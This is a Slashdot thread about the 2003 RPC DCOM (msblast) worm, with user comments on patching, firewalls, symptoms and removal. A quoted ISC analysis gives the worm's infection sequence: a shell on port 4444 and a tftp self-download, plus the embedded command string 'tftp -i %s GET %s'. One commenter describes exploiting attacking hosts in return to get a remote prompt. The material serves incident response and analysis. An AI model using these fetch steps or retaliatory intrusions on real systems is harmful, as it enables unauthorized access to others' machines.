Slashdot Mirror


RPC DCOM Worm On The Loose

GPez writes "The first of I'm sure many RPC DCOM worms affecting Windows is on its way, according to the Internet Storm Center. Patch those systems!" According to the site, "The worm uses the RPC DCOM vulnerability [affects Win2k through Server 2003] to propagate. Once it finds a vulnerable system, it will spawn a shell on port 4444 and use it to download the actual worm via tftp."

45 of 604 comments (clear)

  1. Great by mjmalone · · Score: 5, Funny

    The security team at my office has been scrambleing to secure all of our systems before such a worm was developed. I hope they are done!

    Will blocking port 135 at the router stop this worm? Seems like a simple solution for the short term. I would like to see the source for the worm, does anybody have it?

    1. Re:Great by rylin · · Score: 5, Funny

      I have a copy! You can fetch from 212.192.128.76:4444 ;)

    2. Re:Great by ciroknight · · Score: 4, Insightful

      Yes it will work, I know from experience. My community here in berea has been pretty slammed by this worm, and I've been telling everyone to just firewall off all the ports they dont use. It seems the virus can only connect on ports 135/445 though, so still no worries here. I've been running zonealarm, a great firewall for windows users, to help solve my problem.

      --
      "Victory means exit strategy, and it's important for the President to explain to us what the exit strategy is." G.W.Bush
  2. I have already patched my entire network. by Znonymous+Coward · · Score: 4, Funny

    It's called a firewall. It's proteced me from Nimda, Code Red, etc.

    --

    Karma: The shiznight, mostly because I am the Drizzle.

    1. Re:I have already patched my entire network. by Anonymous Coward · · Score: 5, Funny

      It's called Linux. It's protected me from Nimda, Code Red, etc...

    2. Re:I have already patched my entire network. by Anonymous Coward · · Score: 5, Insightful

      I'm afraid you have a false sense of security. A firewall is only part of the solution.

      A complete solution includes patching your systems and deploying IDS systems. Still, this is only part of a complete security solution.

    3. Re:I have already patched my entire network. by bigjocker · · Score: 4, Funny

      I used this patch instead in my whole network.

      --
      Life isn't like a box of chocolates. It's more like a jar of jalapenos. What you do today, might burn your ass tomorrow.
    4. Re:I have already patched my entire network. by TheGreenLantern · · Score: 5, Funny

      While I'm sure this is technically true, some of us are responsible for networks that are slightly more complicated than an XBox, an HP Pavilion downloading porn and bootlegs 24-7, and an old P2 running Suse in our parents basement.

      --

      It hurts when I pee.
    5. Re:I have already patched my entire network. by caluml · · Score: 4, Interesting
      Selinux root isn't the same as normal root.

      Oh, I know that, and you know that, but it's funny to watch people trying to install root-kits, or add new users. You want to shake them, and ask them - what are you doing - you're root already.. :)
      But once they realise they can't install their IRC bots or floodping people, they get bored.
      Oh, and why do people try and ftp to their own servers from that box?
      grep \@ .bash_history | grep \: | grep ftp
      Doh.

    6. Re:I have already patched my entire network. by SCHecklerX · · Score: 4, Insightful
      Yup, that firewall is going to do all kinds of good when a sales droid connects their (company owned) laptop to your private network after having had it connected to the raw Internet via dialup or broadband, or after they received mail from their personal ISP and, of course, ran every attachment under the sun.

      Firewall != security.

  3. users being hit hard by towaz · · Score: 5, Informative

    the call centre here is off the scale with people ringing in with rpc problems...
    all xp users though

    --
    "I disapprove of what you say, but I will defend to the death your right to say it." - Voltaire
    1. Re:users being hit hard by Sorthum · · Score: 5, Interesting

      Are the calls mostly centered around actual problems, or is it users doing their famous "I heard about the RPC bug, and now my computer won't boot!" routine? When Code Red came out, for instance, we saw everything from bad disks to dialup issues being blamed on it, solely because people didn't listen to anything past "the world is calling" chicken-littleisms.

    2. Re:users being hit hard by Keeper · · Score: 4, Insightful


      I think it's pretty irresponsible of them not to allow the autoupdate really...


      That's like stealing a car, bring it back to the car dealership to get a warantee issue fixed, and then acting all miffed when they call the cops on you.

      If you steal something, don't expect the company you stole from to treat you like a customer.

    3. Re:users being hit hard by TheRealFixer · · Score: 5, Funny

      Yeah, except the stolen car doesn't take off by itself in the middle of the night and start hitting every other car it sees.

  4. Credit... by chill · · Score: 5, Informative

    At least Microsoft was nice enough to credit LSD in the tech note.

    --
    Learning HOW to think is more important than learning WHAT to think.
    1. Re:Credit... by GnomeKing · · Score: 5, Funny

      At least Microsoft was nice enough to credit LSD in the tech note.

      Is that what they were taking when they wrote the code?

  5. this vunerability... by garcia · · Score: 4, Interesting

    if you use this vunerability against someone (usually people that hit your web server with /default.ida) you get access to a C:\ prompt. You can look around, run format, etc.

    It's quick to crash the machine (apparently) as the remote becomes unusable (pingable though).

    It's actually pretty nasty from what I have seen... I just wonder how effective the worm will be when the machine becomes unresponsive after a few commands?

    Perhaps it won't spread as fast as others because of this problem? I suppose we can hope.

  6. New title suggestion for this story by Kappelmeister · · Score: 4, Funny

    Developers: RPC DCOM Worm On The Loose

    Shouldn't that be:

    Developers, Developers, Developers, Developers, Developers, Developers, Developers, Developers, DEVELOPERS!, DEVELOPERS!, DEVELOPERS!, DEVELOPERS!, DEVELOPERS!: RPC DCOM Worm On The Loose

  7. Security Advisory by Blangopolis · · Score: 5, Informative
    The security advisory can be found here.

    After reading the advisory, it looks like this one is going to be a bad one. I'm no expert, but I would guess that this thing is going to be around as long as code red was (and I'm still getting code red hits in my logs!)

  8. Effects by Papa+Legba · · Score: 5, Informative

    This worm is bugged it seems. From XP systems I have seen it throws an error to the screen about RPC services and reboots the system. On Windows 2000 Pro it crashes the svchost and a lot of stuff stops working. Just and FYI for those trying to diagnose systems right this minute.

    Cagliostro

    --
    Papa Legba come and open the gate
    1. Re:Effects by gclef · · Score: 4, Informative
      So how do you fix an infected machine?

      1) Delete msblast.exe (usually found at: winnt\system32\msblast.exe)
      2) delete the Registry key: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\windows auto update" . That key should contain the "msblast.exe" process, and is what starts it up again on reboot.
      3) Patch DCOM, or you'll just get this again.

  9. I saw it happen LIVE! by __aaklbk2114 · · Score: 5, Funny

    I was working on my parents compter (Windows XP) remotely today when this started happening. I was installing some new software for them and I had also just disabled that stupid Messenger service so they would stop getting those pop-up spam messages.

    Anyhow, I had just finished that when XP said it was shutting down in 30 seconds. I was like, WTF!

    Here I am thinking that I just screwed up their machine with the new apps somehow.

    Thanks a bunch, Billy. Guess they'll be punting this one to Longhorn :)

  10. Increase in TCP 135 Activity by Anonymous Coward · · Score: 5, Informative

    This is our number of dropped TCP 135 requests at our border since noon today, per 30 mins, seen on our 2 Class Bs:

    57,003 1200 to 1230
    75,317 1230
    59,321 1300
    52,642 1330
    130,932 1400
    202,996 1430
    277,183 1500
    247,682 1530
    320,919 1600
    361,504 1630 to 1700

    milspec

  11. go ME! by StevenHallman76 · · Score: 5, Funny

    Affected Software:

    * Microsoft Windows NT(R) 4.0
    * Microsoft Windows NT 4.0 Terminal Services Edition
    * Microsoft Windows 2000
    * Microsoft Windows XP
    * Microsoft Windows Server(TM) 2003

    Not Affected Software:

    * Microsoft Windows Millennium Edition


    finally! all these years of running Win ME have paid off! so long suckers!

    1. Re:go ME! by Sneftel · · Score: 4, Funny

      I'm afraid you stopped reading too soon. Here's the bit you missed:

      Sucks big fat sweaty donkey balls:

      * Microsoft Windows Millennium Edition

      --
      The opinions stated herein do not necessarily represent those of anybody at all. Deal with it.
  12. OMG by stephenry · · Score: 5, Funny

    OMG! It's not a worm, ITS SKYNET! It's taking over! Make your time, judgement day is nigh!

  13. Not quite safe: by Telastyn · · Score: 4, Informative

    http://www.kb.cert.org/vuls/id/326746

    win2k machines are still vulnerable to a dos; even patched.

    Thanks microsoft...

  14. Re:Port 4444 by Anonymous Coward · · Score: 5, Informative

    Shell is on 4444. TFTP is on standard port. Random scanner? SHA-1 of packed worm is BED8E439F28A1A0D3876366CBD76A43CDCCF60FA. It'll lookup windowsupdate.com and flood on the 16th. Filename is msblast.exe, length 6176 bytes. Partial string "to say LOVE YOU SAN!!" appears even in the packed version (UPX 1.22). More detailed stuff to follow...

  15. Firewalls *may* not protect you here by venom600 · · Score: 5, Insightful

    Everybody keeps posting that they have this or that port blocked on their firewall, so they're safe. Not so. All it takes is one person inside your network to open the wrong file attachment, or one laptop that went outside the network and then came back in to infect your internal network.

  16. I'm safe by teamhasnoi · · Score: 4, Funny
    I've rolled a saving throw against remote infection and I have +3 Fireproof armor, however I am still vulnerable to hot wood elves.

    You did say this was a RPG worm, right?

  17. More diagnoses info by Papa+Legba · · Score: 4, Informative

    On XP you are getting two error codes.
    The first is a system shutdown window tellign you that the RPC service must be restarted,. This gives you 30 seconds before reboot. Iniated by NT Authority\system. This is a succesful XP infection

    The other is Windows cannot open this file:

    File: TFTp784

    This appears to be an unsuccesful try.

    For windows 2000 it crashes svchost trying to get in it appears. Just apply the patch to stop the crashes. It does not appear to get into the system in this case

    Hope this helps everyone

    Cagliostro

    --
    Papa Legba come and open the gate
  18. Slashdot saves my girlfriend! by brandonY · · Score: 5, Interesting

    My girlfriend called me not 20 minutes before this article went up asking what RPC was and why it was shutting her computer down whenever she got on the Internet. A quick glance at this article's headline followed by a thorough read of symmantec's removal instructions led to me calling her back and another day saved! Thanks, Slashdot! Thanks, Symmantec Security Response Team!

  19. freedce - DCE RPC for Linux by hey · · Score: 4, Interesting

    Sure there's a bug now. But Microsoft picking DCE RPC for DCOM was a nice thing for the open source community since its a documented protocol. There's a project supporting it on Linux: freedce. I have used freedce to communicate between Linux and Windows. It's nice.

  20. I was *nailed* by this thing over the weekend by drgroove · · Score: 5, Informative

    At first, I couldn't figure out why Task Manager suddenly stopped working. Launching TaskMan.exe resulted in an error message "Task Manager has been disabled by the Administrator".

    Odd, I thought. I *am* the administrator.

    I realized I had been hit by a virus or worm when I rebooted and the autoexec.bat file opened up during my login. Not good.

    Norton didn't pick up on this one at all; furthermore, McAfee's online virus/worm searching tool found a related virus, but not the actual baddie.

    The virus that McAfee located - which probably came in after the worm opened up all those ports in my firewall - were in \WINNT\msagent\intl. Basically, anything in that directory that *isn't* a .dll file, delete them.

    The worm itself is in \WINNT\system32\, and is called 'msconfig[nn].exe', where [nn] is interchangeable with two numbers. Mine was 'msconfig35.exe', I've read reports on various forums of others w/ '32' and '33' after the 'msconfig'.

    Be careful here, as this app will spawn identical, hidden copies of itself with random names (like 'dwigjenjig.exe' or 'zajdfanltef.exe'). The easiest way I found to discern between real MS files and the worm was by looking at the last modified date displayed by Explorer, vs the last modified date that pops up when you mouse over the file name. All of the worm files had discrepancies between the two.

    Hope that helps someone out there!

  21. Stanford and Cal hit hard by RPC exploit! by Anonymous Coward · · Score: 4, Informative
    Stanford has been hit pretty hard by this. 2,400 of their 20,000 machines compromised!

    And Cal(Berkeley) is blocking their network from outside access starting today for four days. Makes me wonder how many other large networks have been compromised, but don't know it.

    I'm glad I don't work at Stanford.....don't envy them having to wipe 2,400 machines and sort through files that need to be replaced.....trying to avoid trojans, etc

  22. Quick-Fix by Chaymus · · Score: 4, Informative

    So i load up my /. as my homepage, take a look at the first headline, RP-What? Read up a bit, go: "Huh, that's interesting" and head off to my email site. Bam! i get pegged with this worm and my computer shuts down. For anyone else in the same boat as me, you can still download the patch using the infected computer by typing: services.msc there will be two services listed that are directly linked to this worm under the Remote Procedure Call heading, just look threw the list in the standard tab. You can by pass it by going into teh properties and changing the crash executions do "Do nothing" instead of restarting your computer. I was able to download the patch via the website and am now looking for a way to rid myself of this worm. Firewalls eh? I've heard of them, but then what else am I going to do in my spare time?

  23. ISC Advisory by Dynamoo · · Score: 4, Informative

    Internet Storm Center is getting hammered, so I attach their analysis.

    NOTE: the scanning is being done Code Red style, so it is concentrating on the class B pseudo-subnet, e.g. 123.123.x.x. If this gets inside your corporate firewall then you are screwed.

    I count about 1 scan every 10 seconds at present.

    --x8 Cut here ----

    This RPC DCOM worm started spreading early afternoon EDT (evening UTC). At this point, it is spreading rapidly.

    **********
    NOTE: PRELIMINARY. Do not base your incidents response solely on this writeup. **********

    Increase in port 135 activity: http://isc.sans.org/images/port135percent.png

    The worm may launch a syn flood against windowsupdate.com on the 16th. It has the ability to infect Windows 2000 and XP.

    The worm uses the RPC DCOM vulnerability to propagate. One it finds a vulnerable system, it will spawn a shell on port 4444 and use it to download the actual worm via tftp. The exploit itself is very close to 'dcom.c' and so far appears to use the "universal Win2k" offset only.

    Infection sequence: 1. SOURCE sends packets to port 135 tcp with variation of dcom.c exploit to TARGET
    2. this causes a remote shell on port 4444 at the TARGET
    3. the SOURCE now sends the tftp get command to the TARGET, using the shell on port 4444,
    4. the target will now connect to the tftp server at the SOURCE.

    The name of the binary is msblast.exe. It is packed with UPX and will self extract. The size of the binary is about 11kByte unpacked, and 6kBytes packed:

    MD5sum packed: 5ae700c1dffb00cef492844a4db6cd69 (6176 Bytes)

    So far we found the following properties:

    - Scans sequentially for machines with open port 135, starting at a presumably random IP address
    - uses multiple TFTP servers to pull the binary
    - adds a registry key to start itself after reboot

    Name of registry key:
    SOFTWARE\Microsoft\Windows\CurrentVersion\Ru n, name: 'windows auto update'

    Strings of interest:

    msblast.exe
    I just want to say LOVE YOU SAN!!
    billy gates why do you make this possible ? Stop making money and fix your software!!
    windowsupdate.com
    start %s
    tftp -i %s GET %s
    %d.%d.%d.%d
    %i.%i.%i.%i
    BILLY
    windows auto update
    SOFTWARE\Microsoft\Windows\CurrentVersion\ Run

    Existing RPC DCOM snort signatures will detect this worm. The worm is based on dcom.c

    --
    Never email donotemail@WeAreSpammers.com
  24. Bug/Feature?? by RonnyJ · · Score: 4, Interesting

    A lot of people seem to think the executable is bugged, crashing the RPC service and causing Windows to shutdown. Seems like a good payload to me. In my example, my computer shut down within a few minutes. This makes it exceedingly hard for people to find information and download a patch to fix it, yet at the same time, the trojan is scanning and infecting others while you're trying to fix it. I was struggling to download the patch on modem, took about 5 shutdowns until I had it. Also, at this moment, the main cable provider in the UK seems swamped with this problem, and I don't think it'll go away fast.

  25. Re:On the way? by Sethb · · Score: 4, Insightful

    If any Windows shops actually get hit hard by this, the Sysadmins need to be reprimanded or fired. My Co-Worker and I manage about 375 PCs at a University which has no firewall, though the NetBIOS ports are blocked at the border router.

    You should have had auto-updates turned on for your boxes and/or been using SUS server to push these kind of updates out. We had autoupdates on, and then when the free scanner tool from eeye.com came out last week, we used that to scan the rest of our machines to identify any that didn't get the patch yet (not everyone has bene migrated into our domain yet, and there are some rogue NT 4 boxes around still).

    As a result, we had everything reasonbly secure last Monday, and AFAIK there are no vulnerable machines on any of our subnets, according to my scans.

    So, uh, what were you other Windows admins doing when you should have been doing your job?

    --
    When in danger or in doubt, run in circles, scream and shout. --Robert A. Heinlein
  26. Re:This is just sick. by The+Bungi · · Score: 5, Insightful

    That fix has been there for almost a month. So... shut up, please. There's nothing worse than going off on a "OMG, M$ suxx is teh gahyest!!1!!" rant when you're just plain wrong.

  27. Re:On the way? by jafiwam · · Score: 4, Informative

    While it is true that people should be patched; this worm can still damage stuff on patched servers.

    If the server is not firewalled, but it is patched, the msbash.exe worm probing can crash the RPC service. Which then crashes Exchange, Some AD stuff, some windows explorer stuff, and other things (including windows update). It can still bring the DMZ servers to their knees EVEN IF THEY ARE PATCHED.

    You are only fully protected if you are both patched AND the 135/445 ports are shut off from the internet. (No naked DMZ stuff.)

    I personally patched all the DMZ servers with the hotfix the day it came out, then some other servers with SP4 that included the exploit fix Only the SP4 ones are unaffected.

    Note, I am talking about services available, none of the boxes in question actually got infected. The infection attempt caused the problem.

    Naked un-firewalled computers are going to get this thing, and get it bad.

    It will be interesting to see if that August 16th date pans out to be a dDOS or what...

    [Note, auto update is fine for PCs, but is fucking dangerous for production servers. Sometimes the updates do not play nice with whatever is there, if it happens when so-and-so is on vacation there could be real trouble. Do what you gotta do, but I am never going to let MS put anything on my stuff. You'll probably see when someone figures out how to spoof that and gets all 375 of your boxes rooted due to Windows Update.]

  28. Re:On the way? by Loki_1929 · · Score: 5, Insightful

    "My Co-Worker and I manage about 375 PCs at a University which has no firewall,"
    "the Sysadmins need to be ... fired."

    "You should have had auto-updates turned on for your boxes"
    "the Sysadmins need to be ... fired."

    "We had autoupdates on,"
    "the Sysadmins need to be ... fired."

    Reasonable boarder security, strict firewall rules, roll-over security, implementing patchs and updates after they've been tested within a "sandbox" or other non-production machine, and constant security/threat analysis - these are the building blocks to a secure and operational infrastructure; not turning on "auto-update" for all your windows boxes. That's absolutely ridiculous. Next time a faulty patch comes down the line, it's going to take down some, most, or even all of your machines. I can remember Microsoft security patches causing anything from network connection problems to out-right system corruption requiring repair/reinstallation of the OS. Be very careful throwing stones at other admins when your own procedures are just plain laughable.

    "So, uh, what were you other Windows admins doing when you should have been doing your job?"

    Where was I? Reviewing the procedures I have in place to ensure that this type of vulnerablity never touches anything that would be vulnerable to it, and ensuring that all critical systems are buffered in case of internal infection through user stupidity. Where was I? Doing my job, correctly.

    --
    -- "Government is the great fiction through which everybody endeavors to live at the expense of everybody else."
  29. DSL Users beware... by Lodragandraoidh · · Score: 4, Interesting

    Just bought my wife a new XP machine - because she has been having issues with the crappy linux boxes I have given her [300mhz should be fast enough for anyone...](all of my machines are Linux - daughter has an old win98 and a linux box on kvm).

    She complained that her computer was shutting down all day - get this, I don't have any ports enabled on my router - its closed tighter than duck's ass.

    So, I'm sitting there, and she decides to turn her machine back on - a few minutes later....BAM...my whole DSL network goes down.

    So, not making the cause and effect connection, I call my local phone company. They are able to ping my DSL modem. So they go through the motions, and get me to hook up my XP machine to the network directly through the DSL modem...friggin' brilliant. I hook it up, and ...BAM! again... This time its an 'RPC' call error - 'shutting system down' message. Crap. I shut the system down and pull it completely off the network.

    I then check my linksys router - everything on it is reset to the defaults...everything. No ppoe settings, no password [its set to the default] - nada, nothing, zip.

    I reset everything, and up comes my network - thats when I browse on over to /. and see this post about the worm. I do a little forensics and find the c:\winnt\system32\msblast.exe, and c:\winnt\system32\pre[a-Z*]\msblast.exe.23oiu4i734 - I assume the pftp scratch file. Son-of-a-bitch.

    I also look for the registry entry to restart the worm - but don't find it (so far, so good). I delete the scratch file ok, but the msblast.exe file will not delete (the system says the wheel user isn't authorized - what kind of Mickey-Mouse operating system is this!!?)

    I want to know:
    1. how to clean this up?
    2. how the hell did this thing ZAP my Linksys with all the ports disabled?
    3. where the hell can I get my $99 back for this bogus operating system?

    --

    Lodragan Draoidh
    The more you explain it, the more I don't understand it. - Mark Twain
  30. I'm not sure about removing it.... by TheBoostedBrain · · Score: 5, Funny

    Trend Micro says that this worm performs a DDoS to Windows Update Site, I'm not really sure about removing it...

    --
    -- When did Ignorance Become a Point of View?
  31. Re:On the way? by Sethb · · Score: 5, Interesting

    You want to know what a real University setting is like? I've worked at 2 of the 3 state Universities here, and generally it's a mishmash of 20% Win95, 40% Win98, 20% Win2000, and 20% Windows XP machines, none of which authenticate to a domain, administered by someone who started working there as a student, but was kept on after graduation because they were cheap labor.

    Patches? Well the user should take care of that, right? After all, they've got Internet Explorer, they can surely remember to visit WindowsUpdate and get patches on their own.

    Oh, AntiVirus definitions? Well, our software doesn't update those automatically, you've got to click the icon and push update every month or so, but the users can do that.

    None of the above is hyperbole, and were actually the standard practices as recently as 18 months ago.

    Heck, doing testing? That'd require a SECOND computer for each technician! That'd cost money! We can't afford to but TWO computers for one person, we're already splurging on 1 IT person per 500 computers! Oh, and we gave you 1 student who's slightly above minimum wage too. What more do you want?

    --
    When in danger or in doubt, run in circles, scream and shout. --Robert A. Heinlein